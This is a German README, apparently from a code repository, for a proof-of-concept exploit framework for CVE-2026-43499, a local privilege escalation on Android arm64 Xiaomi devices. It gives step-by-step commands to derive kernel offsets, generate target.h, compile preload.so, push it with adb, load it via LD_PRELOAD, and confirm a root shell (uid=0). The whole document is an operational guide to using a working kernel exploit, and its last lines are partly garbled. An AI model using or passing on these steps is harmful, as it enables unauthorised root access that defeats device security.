
Schwachstellenanalyse und Proof of Concept (PoC) für CVE-2026-43499, das Xiaomi-Geräte betrifft. Nur für Bildungs- und Forschungszwecke.
Englisch | Chinesisch
Dies ist ein Anpassungsprojekt für die lokale Rechteausweitung unter Android arm64 für CVE-2026-43499.
Das Projekt generiert basierend auf der boot.img und den Profilinformationen des Zielgeräts eine target.h und kompiliert dann das entsprechende preload.so.
Hinweis: Dieses Projekt ist ein allgemeines Anpassungsframework und nicht an ein bestimmtes Gerätemodell gebunden. Ob es tatsächlich funktioniert, hängt davon ab, ob
generate_target.pyerfolgreichtarget.hgenerieren kann, sowie von den Testergebnissen auf dem echten Gerät.
Projektverzeichnis/
├── boot.img # Boot-Image der gleichen Firmware des Zielgeräts
├── profile_xxx.json # Profil des Zielgeräts
├── detect_offset.py # Zum Erkennen des Profils
├── generate_target.py # Zum Generieren von target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # Automatisch generiert
└── source/build/bin/
└── preload.so # Kompilierungsergebnis
Python 3
LLVM / llvm-objdump
Android NDK
make
adb
Unter Windows wird Folgendes empfohlen:
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64
make in MSYS2 installieren:
pacman -S make coreutils
Du benötigst:
boot.img
profile_xxx.json
Beispiel für ein Profil:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
Diese beiden Adressen im Profil:
p0_phys_offset
p0_kernel_phys_load
können auf einem bereits gerooteten Gerät mit der gleichen Firmware wie das Ziel-boot.img durch Ausführen des Skripts ermittelt werden:
python3 detect_offset.py
Auch unter Windows möglich:
python detect_offset.py
Linux / macOS:
cd /pfad/zum/projekt
Windows MSYS2 Beispiel:
cd /d/unlockProject/CVE/CVE-2026-43499-xxxxxx-main
Linux / macOS Beispiel:
export ANDROID_NDK_HOME=/pfad/zum/android-ndk
Windows MSYS2 Beispiel:
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python3 generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h
Unter Windows, falls python3 nicht verfügbar ist, verwende:
python generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h
Wenn eine Meldung erscheint, dass llvm-objdump nicht gefunden wird, gib den Pfad manuell an:
python generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h \
--llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
Bei Erfolg wird eine ähnliche Ausgabe angezeigt:
Erfolgreich generiert: .../source/src/target.h
Kernel SHA-256: ...
Target-Makros: ...
Linux / macOS:
make -C source clean preload
Windows MSYS2:
make -C source clean preload NDK_PREBUILT=windows-x86_64
Bei Erfolg wird Folgendes generiert:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
Überprüfung:
adb shell '/data/local/tmp/su -c id'
Bei Erfolg wird in der Regel Folgendes angezeigt:
uid=0(root) gid=0(root)
Gemäß deinem Pfadbeispiel:
cd /d/unlockProject/CVE/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python generate_target.py --boot boot.img --profile profile_xxx.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
make -C source clean preload NDK_PREBUILT=windows-x86_64
Enddatei:
source/build/bin/preload.so
LLVM installieren oder verwende:
--llvm-objdump "/pfad/zu/llvm-objdump"
Unter Windows MSYS2 installieren:
pacman -S make coreutils
Meist liegt es daran, dass der NDK-Pfad nicht richtig gesetzt ist.
Windows MSYS2 Beispiel:
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64
Meist bedeutet das, dass das aktuelle boot.img oder das Kernel-Layout noch nicht erfolgreich angepasst werden konnte.
Wichtige Überprüfungspunkte:
Ist boot.img vollständig?
Ist das Profil korrekt?
Ist llvm-objdump verfügbar?
Hat der Kernel IKCONFIG / kallsyms / BTF?
target.h neu generiert werden.target.h manuell zu ändern; es sollte von generate_target.py automatisch generiert werden.